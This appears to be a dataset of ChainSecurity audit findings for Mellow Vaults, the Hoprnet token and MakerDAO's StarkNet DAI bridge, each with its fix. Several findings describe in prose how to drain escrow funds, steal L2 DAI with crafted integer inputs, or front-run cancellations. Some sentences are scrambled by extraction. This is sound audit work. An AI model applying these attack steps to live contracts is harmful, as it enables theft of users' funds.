actualTokenAmounts. Mellow Finance - Mellow Vaults - 54 CorrectnessLowVersion1Speci\ufb01cationChangedVersion3SecurityLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.75 IntegrationVault._root Does Not Check the NFT of the Root Vault IntegrationVault._root tries to verify the initialization of a given Vault and its corresponding ERC20RootVault with the following code: require(thisNft + thisOwnerNft != 0, ExceptionsLibrary.INIT); If thisNft is set (greater than 0) and thisOwnerNft equals 0, no revert will happen. _root is called in pull only. pull already checks that the argument thisNft given to _root is not equal to 0 which renders the require useless. The statement was changed and checks each variable separately (thisNft != 0) && (thisOwnerNft != 0). if it is zero in ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.76 VaultGovernance.commitInternalParams", "body": " Does Not Delete Staged Parameters VaultGovernance.commitInternalParams does not delete the _stagedInternalParams state variable. The state variable _stagedInternalParams is now deleted after it is applied. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "6.77 registry.ownerOf Is Called Twice in", "body": " IntegrationVault.pull registry.ownerOf is called twice with the same value in IntegrationVault.pull, inducing unnecessary additional gas costs. The obvious redundant call to registry.ownerOf was removed. Still, there would be another call in _isApprovedOrOwner. Mellow Finance - Mellow Vaults - 55 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.1 Approximated TVL for Aave Vaults", "body": " The function AaveVault.tvl() computes an approximate total value locked (TVL) based on the time passed since the parameter the estimatedAaveAPY: function updateTvls was called and time last the uint256 apy = IAaveVaultGovernance(address(_vaultGovernance)).delayedProtocolParams().estimatedAaveAPY; factor = CommonLibrary.DENOMINATOR + FullMath.mulDiv(apy, timeElapsed, CommonLibrary.YEAR); Note that the parameter estimatedAaveAPY is set by the protocol admin for all tokens of the vault, hence the function tvl might return incorrect values if updateTvls is not called frequently. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.2 Balances Are Drained Faster in Vaults With", "body": " Lower Index AggregateVault._pull pulls funds out of the underlying Vault's by pulling the maximum amount out of each Vault sequentially. This drains funds faster from Vault's depending on their index in the _subvaultNfts state variable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.3 Deposits Can Be Blocked by Updating", "body": " StrategyParams The function ERC20RootVaultGovernance.setStrategyParams does not perform any sanity check for the new parameters being set, hence if tokenLimitPerAddress or tokenLimit is set to zero, the functionality to deposit is blocked. The sanity checks are not enforced intentionally as the admin might use these parameters to block deposits into a root vault by updating these parameters. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.4 Deprecated Function _setupRole", "body": " DefaultAccessControl and DefaultAccessControlLateInit use the function _setupRole, which according to its specification is deprecated: /** * NOTE: This function is deprecated in favor of {_grantRole}. */ Mellow Finance - Mellow Vaults - 56 NoteVersion4NoteVersion1NoteVersion1NoteVersion1 \f7.5 Duplicate Declaration of DENOMINATOR Both MStrategy and LStrategy import CommonLibrary which declares the constant DENOMINATOR, however, they also declare the constant as well. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.6 Dust LP Shares Are Burned", "body": " If a user decides to redeem its LP shares in a root vault by calling the function withdraw, and if at the time of this action the amount of remaining LP shares represents less than the threshold existentials in underlying tokens, the whole user's LP balance is burned. Put shortly, the function prevents users from leaving dust amounts in LP shares when withdrawing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.7 External Functions in ContractMeta", "body": " ContractMeta implements external pure functions, and currently they are called only by registerContract in ContractRegistry. The calls are performed as three external calls, which increase gas costs, as there is no function in ContractMeta returning all values in a single external call. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.8 LP Tokens of the First Deposit Are Burned", "body": " In to address(0), practically burning them. of the code base, the LP tokens of the first user depositing into a root vault are always send ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.9 Locked Token or ETH", "body": " ERC20 tokens could be accidentally/intentionally sent to any contract. In such cases the tokens will be locked. Only externalCall for intergration vaults offers some functionality to recover funds. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.10 No Checks for Address to on ERC20Token", "body": " Transfer The functions transfer and transferFrom in ERC20Token do not perform any sanity check for the address to, hence making it possible to burn tokens by sending them to address 0x0. Mellow Finance - Mellow Vaults - 57 NoteVersion1NoteVersion6NoteVersion1NoteVersion6Version6NoteVersion1NoteVersion1 \f7.11 Non Canonical Signatures function IntegrationVault.isValidSignature The function CommonLibrary.recoverSigner to validate signatures if the strategy is an externally owned account. Note that, the function recoverSigner does not perform any sanity check on values r, s and v to ensure that only unique signatures validate successfully. Therefore, callers of this function should be aware of possible attacks (https://swcregistry.io/docs/SWC-117). library uses the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.12 Non-indexed Event Topics", "body": " Some events have already hit in UnitPricesGovernance have not and do not index the token address. Given that the unit price update could be important to users, making the token address indexed, makes it easier to filter the events for specific tokens. topics. But the events limit of indexed three the There are some other events like DeployedVault in VaultGovernance, ReclaimTokens and Pull in IntegrationVault and RebalancedUniV3 in LStrategy where one more index could be set. Additionally, some events could emit the nft which might be worth indexing (it e.g., is done in SetStrategyParams). This is just noted and up to Mellow Finance to decide. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.13 OracleParams in MStrategy", "body": " Te admin of MStrategy should carefully set the OracleParams. The admin should ensure that the Uniswap used for the oracle has enough observations to cover oracleObservationDelta, otherwise the function _getAverageTickChecked called in _rebalanceTokens will only use the spot price, hence making the rebalance function vulnerable to sandwich attacks. Additionally, the parameter maxTickDeviation should be carefully chosen to enforce proper slippage protection for the rebalance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.14 Performance Fee Capped", "body": " ERC20RootVault._chargePerformanceFees only charges performance fees for the strategy if the price of LP tokens has reached a new high score. When prices have fallen, the fees are still not charged even when prices climb again until this all-time high has been reached again. Additionally, if all liquidity providers withdraw their funds and the totalSupply is zero, or all token TVLs are less than _pullExistentials, the previous high score lpPriceHighWaterMarkD18 is not reset, hence performance fees might not be collected as expected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.15 Rebalance of Uniswap Vaults in LStrategy", "body": " The function rebalanceUniV3Vaults maintains a ratio of tokens in the two Uniswap positions depending on the move of the current price. If the price goes up, more tokens are transferred into the upperVault from the lowerVault, and vice-versa. The function is designed in a way that it tries to add Mellow Finance - Mellow Vaults - 58 NoteVersion4NoteVersion1NoteVersion5NoteVersion5NoteVersion4 \fthe same liquidity amount into the destination vault that is removed from the other vault. However, since the two vaults operate in different price ranges, the same liquidity amount translates into different token amounts. The token in the cash position (erc20Vault) are used to cover for the difference. Consequently the ratio between the cash position (erc20Vault) and the money vaults (lowerVault and upperVault) is affected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.16 Rollback Individual Validators Not Possible", "body": " ProtocolGovernance implements a function to rollback all staged validators, but there is no functionality to rollback individual staged validators. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.17 Special Behavior in ERC20Token", "body": " The function transferFrom has a special behavior when allowance==type(uint256).max, as the allowance is never reduced when these transfers occur. This special behavior should be properly documented as users should be aware of it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.18 Trust Setup", "body": " The system has multiple trusted roles and heavily relies on admin operations to work. E.g., setting oracles and the admin needs to maintain enough funds to open new Uniswap positions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.19 Uneven Gas Distribution on deposit and", "body": " withdraw Fees are not calculated on every transaction. Therefore, some users are burdened with more gas costs than others depending on the time they are performing their withdraw and deposit actions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.20 Unit Prices Amounts", "body": " The admin in UnitPricesGovernance can set the amounts of a given token that match the value of 1 USD. The prices are set with a delay of 14 days, hence the prices are not supposed to reflect the market price. Note that, for valuable tokens with few decimals, it might be impossible to store the correct token amount that matches 1 USD. Mellow Finance - Mellow Vaults - 59 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion5 \f7.21 Unnecessary Creation of Pair In UniV3Vault._push and UniV3Vault._pullUniV3Nft, a Pair is created and not used as a Pair afterwards. Instead, the particular values are extracted from the Pair, rendering the creation of the Pair useless. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.22 ContractRegistry Functions Truncate", "body": " name Functions versions, versionAddress and latestVersion in ContractRegistry truncate the input parameter name_ to 32 bytes: bytes32 name = bytes32(bytes(name_)); If these functions are called with name_ longer than 32 bytes, the return value would be based on the truncated input parameter name_, which is inconsistent behavior. Furthermore, the function latestVersion parses the input parameter name_ differently from other functions: bytes32 name = bytes32(abi.encodePacked(name_)); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.23 LStrategy Needs Tokens to Create Uniswap", "body": " Positions The function _mintNewNft assumes that the strategy contract has enough balance to open new Uniswap positions as needed, otherwise new Uniswap NFTs cannot be minted: IERC20(tokens[0]).safeApprove(address(positionManager), minToken0ForOpening); IERC20(tokens[1]).safeApprove(address(positionManager), minToken1ForOpening); (newNft, , , ) = positionManager.mint( INonfungiblePositionManager.MintParams({ token0: tokens[0], token1: tokens[1], fee: poolFee, tickLower: lowerTick, tickUpper: upperTick, amount0Desired: minToken0ForOpening, // required balance amount1Desired: minToken1ForOpening, // required balance amount0Min: 0, amount1Min: 0, recipient: address(this), deadline: deadline }) ); Mellow Finance - Mellow Vaults - 60 NoteVersion1NoteVersion1NoteVersion1 \fMellow Finance is aware of this requirement and states they will take care that enough funds are available at any point in time. Additionally, a check was added to ensure that the amount of token needed in the contract is very low (less than 10**9) to mitigate that money is lost because of the deactivated slippage protection in the function above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.24 _pullExistentials Are Unevenly", "body": " Distributed in Terms of Value _pullExistentials in AggregateVault are set to 10**(token.decimals() / 2) for each token. This is an uneven distribution considering that tokens may have different value. The existential for USDT for example has a much lower value than the existential for WBTC. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "7.25 addressesByPermission Does Not", "body": " Consider Forced Permissions The function addressesByPermission in the protocol governance contract returns only addresses that explicitly have the permissionId in the mapping permissionMasks. However, if the permissionId is enforced by forceAllowMask, then all addresses are assumed to have the permission. Mellow Finance - Mellow Vaults - 61 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.1 Effects of Snapshotting at Every Block", "body": " The HoprToken performs a state snapshot at every block. That has the following effects: 1. Significant extra gas costs for a token transfer compared to regular token implementations. Even if none of the callbacks are executed, there is an expected overhead of 69,400 gas compared to a regular ERC-20 token and 62,600 compared to a regular ERC-777 token. Some addresses, e.g. HoprDistributor or exchange addresses will amass a considerable number of snapshots. This has two additional effects: 2. The overall contracts state size will be rather big. In case that ETH2.0 transitions to stateless clients, state proofs will be relatively large for all Hopr balances. 3. The gas cost of calling balanceOfAt for these contracts with many snapshots will continue to grow. However, as it only grows logarithmically it will foreseeably not reach a critical level. The impact of this is also determined by whether balanceOfAt is primarily intended for on-chain or off-chain use. Risk accepted: Hoprnet replied: Due to our approach with our upcoming DAO contract, we require a snapshot on every block. Hoprnet - Hoprnet Token - 7 SecurityDesignCorrectnessCriticalHighMediumLowRiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Burn Function of HoprToken Can Cause Inconsistent Snapshot Wrong Check in the HoprDistributor claim Function -Severity Findings Miners Can Claim With Schedule Violation -Severity Findings Multiple Storage Writes Redundant Condition Check in _valueAt Snapshot Inefficiency Superfluous Call to _beforeTokenTransfer Timestamp Conversion Has Redundant Operation 0 2 1 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.1 Burn Function of HoprToken Can Cause", "body": " Inconsistent Snapshot interface The ERC777 has a _beforeTokenTransfer hook that is called in the burn, transfer and mint functions. Also it introduced _callTokensToSend and _callTokensReceived functions that can call the registry. ERC777Snapshot utilizes _beforeTokenTransfer to track the snapshots after each balance change. Due to the order of _beforeTokenTransfer and _callTokensReceived functions in the _burn function, there is a possibility of reentrancy, that can cause the snapshots to be in an inconsistent state. implementations in ERC1820 registered function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), \"ERC777: burn from the zero address\"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), amount); Hoprnet - Hoprnet Token - 8 CriticalHighCodeCorrectedCodeCorrectedMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f _callTokensToSend(operator, from, address(0), amount, data, operatorData); // Update state variables _balances[from] = _balances[from].sub(amount, \"ERC777: burn amount exceeds balance\"); _totalSupply = _totalSupply.sub(amount); emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _beforeTokenTransfer(address operator, address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(operator, from, to, amount); if (from == address(0)) { // mint updateValueAtNow(accountSnapshots[to], balanceOf(to).add(amount)); updateValueAtNow(totalSupplySnapshots, totalSupply().add(amount)); } else if (to == address(0)) { // burn updateValueAtNow(accountSnapshots[from], balanceOf(from).sub(amount)); updateValueAtNow(totalSupplySnapshots, totalSupply().sub(amount)); } else if (from != to) { // transfer updateValueAtNow(accountSnapshots[from], balanceOf(from).sub(amount)); updateValueAtNow(accountSnapshots[to], balanceOf(to).add(amount)); } } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.1.1 Attack scenario", "body": " Attacker can register a IERC777Sender smart contract in the ERC1820 registry that will transfer Hopr Tokens to the attacker. When this transfer happens in the _callTokensToSend from ERC1820 registered implementation, the snapshot will be overwritten again, using balanceOf value, that has not been yet updated. In a trace example above, with green color marked balance updates and with yellow - snapshot updates. Due to dependency of snapshot updates depend on balance updates, the reentrancy issue arise. In the other ERC777 functions, such as the transfer function, where the _callTokensToSend goes before any state updates, such a problem does not arise. To avoid the issue, the newly released OpenZeppelin contracts should be used. Hoprnet - Hoprnet Token - 9 \fThe HoprToken now uses an OpenZeppelin ERC777 implementation that does not have a reentrancy vulnerability in its burn function. The snapshot is now updated after the external call. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.2 Wrong Check in the HoprDistributor claim", "body": " Function The claim function of the HoprDistributor calls internal _claim function that contains following code: uint128 newClaimed = _addUint128(allocation.claimed, claimable); // Trying to claim more than allocated assert(claimable <= newClaimed); This assertion can only be violated if the _addUint128 operation overflows. But check of overflow is already present the newClaimed <= allocation.amount. The comment above the assertion also describes the intention. the _addUint128. there are no In addition, checks for in The assertion was rewritten. The new assertion checks that the value of newClaimed does not exceed the total allocated amount. assert(newClaimed <= allocation.amount); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.3 Miners Can Claim With Schedule Violation", "body": " The claim function calls the _getClaimable function to determine the amount users can claim depending on the elapsed periods. for (uint256 i = 0; i < schedule.durations.length; i++) { uint128 scheduleDeadline = _addUint128(startTime, schedule.durations[i]); // schedule deadline not passed, exiting if (scheduleDeadline > _currentBlockTimestamp()) break; // already claimed during this period, skipping if (allocation.lastClaim > scheduleDeadline) continue; claimable = _addUint128(claimable, _divUint128(_mulUint128(allocation.amount, schedule.percents[i]), MULTIPLIER)); } At the end of claim execution, the allocation.lastClaim is reassigned, to disable repetitive claims for the same period of the schedule. allocation.lastClaim = _currentBlockTimestamp(); But if multiple claims will be send with block.timestamp equal to scheduleDeadline of some schedule period, multiple repetitive claims of this blocks will be possible. This will effectively allow the hackers to ignore the schedule. While this operation is hard to time right using regular transaction, miners can craft such transactions. Hoprnet - Hoprnet Token - 10 SecurityHighVersion1CodeCorrectedSecurityMediumVersion1CodeCorrected \fCombined with nonexistent allocation.amount <= newClaimed check in claim function, this bug also allows to claim more than the allocated amount. The condition in the loop was rewritten. Now the equality case will be skipped and repetitive claims for the same periods of the schedule are not possible. if (allocation.lastClaim >= scheduleDeadline) continue; ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.4 Multiple Storage Writes", "body": " The addAllocations function repeatedly writes to and reads from the totalToBeMinted storage variable. This incurs additional gas costs. Note, however, that the additional gas costs will be significantly lowered by the upcoming EIP-2929. A new variable _totalToBeMinted was introduced. All repetitive operations are performed on it. Thus, gas is saved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.5 Redundant Condition Check in _valueAt", "body": " The functions balanceOfAt and totalSupplyAt of the HoprToken have following branching conditions: if ( (accountSnapshots[_owner].length == 0) || (accountSnapshots[_owner][0].fromBlock > _blockNumber) ) { if ( (totalSupplySnapshots.length == 0) || (totalSupplySnapshots[0].fromBlock > _blockNumber) ) { In addition, both of these public functions rely on internal _valueAt function. Meanwhile the _valueAt has following branching conditions: if (snapshots.length == 0) return 0; if (_block < snapshots[0].fromBlock) { Those conditions are redundant and will never be triggered. Hoprnet - Hoprnet Token - 11 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The checks are now performed only inside the _valueAt function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.6 Snapshot Inefficiency", "body": " Hoprnet implemented the following binary search: // Binary search of the value in the array uint256 min = 0; uint256 max = snapshots.length - 1; while (max > min) { uint256 mid = (max + min + 1) / 2; if (snapshots[mid].fromBlock <= _block) { min = mid; } else { max = mid - 1; } } return snapshots[min].value; In case the _block number matches the block number of one of the snapshots, the implementation could be optimized. The equality case: snapshots[mid].fromBlock == _block is not handled explicitly. Given that in this case, the result has already been found, there is no need for further unnecessary iterations. Code Corrected: The code was adjusted and now explicitly checks for equality: uint256 midSnapshotFrom = snapshots[mid].fromBlock; if (midSnapshotFrom == _block) { return snapshots[mid].value; Hence, the inefficiency is gone. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.7 Superfluous Call to _beforeTokenTransfer", "body": " When overriding the empty parent function _beforeTokenTransfer from the ERC777 template, super._beforeTokenTransfer gets called. This call has no effect as the parent is empty. Due to current state of Solidity compiler, this call will create unnecessary operations with no effects. Small amount of gas (+-30) will be wasted. Hoprnet - Hoprnet Token - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe superfluous call to the super class was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.8 Timestamp Conversion Has Redundant", "body": " Operation Function _currentBlockTimestamp has a modulo operation that can be dropped. The default behavior of solidity uint128(X) conversion achieves the same result and uses less gas. function _currentBlockTimestamp() internal view returns (uint128) { // solhint-disable-next-line return uint128(block.timestamp % 2 ** 128); } The superfluous modulo operation was removed. Hoprnet - Hoprnet Token - 13 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight potential pitfalls which are fairly common when working Distributed Ledger Technologies. As such technologies are still rather novel not all developers might yet be aware of these pitfalls. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "7.1 ERC-20 Approve Race Condition", "body": " The ERC-20 standard has a well-known race condition for the approve function if both the new and the implementations add increaseApproval and old approval are non-zero. Hence, a decreaseApproval functions which do not have this issue. The Hopr Token does not have such functions. Hence, it is up to users and using smart contracts to avoid the issue. lot ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "7.2 Floating Pragma", "body": " The solc version is fixed in the hardhat configuration to version 0.6.6. However, the files have a floating pragma. Furthermore, please note the chosen compiler version 0.6.6 has five known bugs. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "7.3 Ownership Cannot Be Atomically Transferred", "body": " The specification says: allow admin to transfer or revoke their ownership There is no classical role transfer function inside the contract. The admin can add a new admin and later revoke itself, but not perform an atomic role transfer. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "7.4 Schedules Are Specified Using UTF-8 Strings", "body": " The distribution schedules are addressed using UTF-8 strings. UTF-8 strings have well-known security implications, such as characters that look identical to humans, but have a different byte representation or inverse character order. Hence, calls like addAllocations could theoretically be referencing a different schedule than expected. However, as all of the functions setting up allocations can only be executed by the administrators, there is fairly low risk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "7.5 Theoretical Overflow in Binary Search", "body": " Hoprnet - Hoprnet Token - 14 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fIn theory the binary search can overflow. This would affect the following computation: uint mid = (max + min + 1) / 2; This could occur as soon as snapshots.length would be larger than 2**255. As this implies that 2**255 snapshots have been taken, which implies that 2**255 blocks have passed, it is irrelevant in practice. Hoprnet - Hoprnet Token - 15 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-hoprnet-token/"}, {"title": "6.1 Unprotected Escrow Funds", "body": " L1DAIBridge.deposit() transfers DAI from a user-specified address from to the L1Escrow contract to lock DAI on layer one. However, a malicious user could specify from to be the L1Escrow contract that holds all of the locked funds. The call to DAI.transferFrom() will succeed since the escrow must have had approved the bridge contract. Ultimately, unbacked DAI could be minted on L2 and funds from the escrow could be stolen. Consider the following scenario: 1. User calls deposit() with from being the escrow contract. 2. The to amount <= allowance[escrow][bridge]. self-transfer from and escrow succeeds as long as 3. The ceiling check passes as long as balanceOf(escrow) <= ceiling since the balance does not change. 4. Ultimately, a message to L2 is sent and unbacked DAI on L2 is minted. 5. Repeat the process. 6. Withdraw DAI from L2 to L1, such that the escrow is emptied. MakerDAO - StarkNet-DAI-Bridge - 12 CriticalCodeCorrectedHighCodeCorrectedMediumCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityCriticalVersion1CodeCorrected \fThe README.md file in the repository states: ### Initial configuration ... Unlimited allowance on `L1Escrow` should be given to `L1DAIBridge`. Hence an attacker may drain all DAI out of the escrow. Furthermore, e.g. by frontrunning a deposit transaction or exploiting an unlimited approval given by the user to the bridge it is possible to steal L1 DAI from users. Consider the following scenario: 1. User A intends to deposit DAI to L2 and approves the bridge contract. He either gives an exact approval for the amount he wants to deposit or may give an unlimited approval as he trusts the bridge contract and intends to use it in the future. Next he crafts a transaction to deposit. 2. User B calls deposit() and specifies the from address to be user A. The call succeeds and B receives funds on L2. Note that the DAI locked on L1 are from user A. This transaction frontruns the deposit call coming from user A. 3. User A's deposit is executed but fails due to lack of allowance. Note that although they are known to be potentially dangerous it is quiet common that users give infinite approval to such systems they trust and intend to interact with frequently. The from parameter has been removed from function deposit. The DAI amount is now transferred from msg.sender to the escrow. Hence the issue described above no longer exists. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.2 L2 DAI Allows Stealing", "body": " The transfer function of the L2 DAI contract allows stealing tokens from other users. The attack works as follows: 1. Within the amount field of the transfer function the user specifies an invalid Uint256. Note that uint256_check is never called. To steal i token wei, the attacker specifies P-i to be amount.low and 0 to be amount.high. The low amount could be interpreted as the negative number -i. 2. The uint256_le(amount, sender_balance) check will be passed as it will ultimately compute the following: 1 - is_nn(amount.low - (sender_balance.low+1)) If for example the sender's (attacker's balance) is 0, that check will pass. 3. The uint256_sub(sender_balance, amount) computation will result in an increased sender_balance due to the specially crafted amount. 4. The uint256_add(recipient_balance, amount) computation will result in a decreased recipient_balance due to the specially crafted amount. Note that the decrease of the recipient_balance is also the increase of the sender_balance. In other words, the sender gains as many tokens as the recipient loses. Or more concisely, the sender can steal all of the tokens of the receiver. So, if i==1 then one token wei is stolen. If i==2 then two wei are stolen. MakerDAO - StarkNet-DAI-Bridge - 13 SecurityHighVersion1CodeCorrected \fThe only precondition for the attack is that the uint256_le(amount, sender_balance) can be passed for manipulated amount values. Note that the current hints prevent a proof generation for this attack in uint256_add, but hints can freely be changed and the verifier will accept it. amount is now validated in the internal function _transfer. Thus, neither transfer() nor transfer_from can perform computations with invalid integers. Ultimately, the Uint256 library functions receive the expected inputs and, thus, perform the documented computations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.3 Frontrun cancelDeposit()", "body": " L1->L2 After L1DAIBridge.startDepositCancellation() L1DAIBridge.cancelDeposit() can be used to complete the cancellation and retrieve the DAI. initiated has cancellation message delay been time and has the using passed, The caller of the function must provide the details to retrieve the message (the amount, the l2Recipient and the nonce) and as parameter l1Recipient any address to receive the funds on L1. There is no access control, the first caller can retrieve the DAI to any address. msg.sender is now included in payload of deposit(), startDepositCancellation() and cancelDeposit(). Hence, a successful cancellation requires that the same msg.sender in all three calls of the process. Otherwise, the payload would be different. payload[3] = uint256(uint160(msg.sender)); StarkNetLike(starkNet).cancelL1ToL2Message(l2DaiBridge, DEPOSIT, payload, nonce); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.4 ForceWithdrawal Needs Prior Approval", "body": " In the case that a user believes they are censored, the user can initiate the withdrawal using the forceWithdraw function of the L1DAIBridge. When the L2 network works as expected, the withdrawal request is handled. This however has some prerequisites: 1. The user needs to have registered his L1 address in the L2 registry prior to initiating forceWithdraw(). Note that this may no longer be possible when the L2 network is censoring transactions hence this should be done by the users before receiving DAI on L2. 2. The execution of finalize_force_withdrawal on L2 in case the Layer2 network complies requires that the user has previously given allowance to the l2_dai_bridge. Again, giving the approval at this point in time may no longer be possible in case the L2 network censors transactions. MakerDAO - StarkNet-DAI-Bridge - 14 SecurityMediumVersion4CodeCorrectedCorrectnessMediumVersion1CodeCorrectedSpeci\ufb01cationChanged \f# check allowance let (contract_address) = get_contract_address() let (allowance : Uint256) = IDAI.allowance(dai, source, contract_address) let (allowance_check) = uint256_le(amount, allowance) if allowance_check == 0: return () end This requirement is not documented and may come as a surprise for the user. Note that for normal withdrawals from L2 using withdraw no such allowance is needed. Furthermore without the check in finalize_force_withdrawal the l2_dai_bridge is a ward in the DAI contract and has the privilege to burn the DAI of any address without the need for an approval. the DAI would work as the withdrawal / burning of The case that the L2 network may only censors transactions other than forced withdrawals (in order to avoid detection of the misbehavior) and its implication must be considered. Overall the ForcedWithdrawal process and it's restrictions is not documented enough. Code corrected and specification changed: and hence Issue 1) was addressed by improving the documentation. The documentation now clearly states what actions are required before a forced withdrawal can be executed. The enhanced documentation also resolves 2), note that in the updated code a ward of the DAI contract no longer has the privilege to burn understand why needed. DAI finalize_force_withdrawal must check whether the approval exists: Burning without the allowance would result in the transaction to revert. The prover can't prove failed executions, reverts are indistinguishable from censored messages. By checking the allowance and gracefully terminate the transaction when no sufficient allowance exist, the transaction can be executed. Hence the message from L1 can be processed which allows to clear the message in the StarkNet contract on Ethereum. This proves that the transaction must have been executed on L2. important approval the It's to is ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-starknet-dai-bridge/"}, {"title": "6.5 L2 Address Sanity Checks", "body": " In StarkNet users do not have addresses. Transactions sent to the network have the 0 address as caller. In order to identify accounts via addresses, each user deploys his account contract and interacts with contracts such as the DAI token using his account-contract. The deposit() function of the L1DAIBridge contract allows users to deposit with the to address set to 0. The execution of finalize_deposit initiated by the l1_handler on l2 however will fail as minting DAI for the zero address will revert. As a result the deposited DAIs on L1 will be locked in the escrow. Furthermore, note that to will be received as a felt on L2. Hence, the true to address on L2 will be to % R. Therefore, it could be possible to for example specify address R on L1 which will map to zero-address (similarly R+1 will map to address 1). Users could be protected from errors by restricting the allowed address range on L1. L2 DAI allows to give approvals specifying the 0 address as 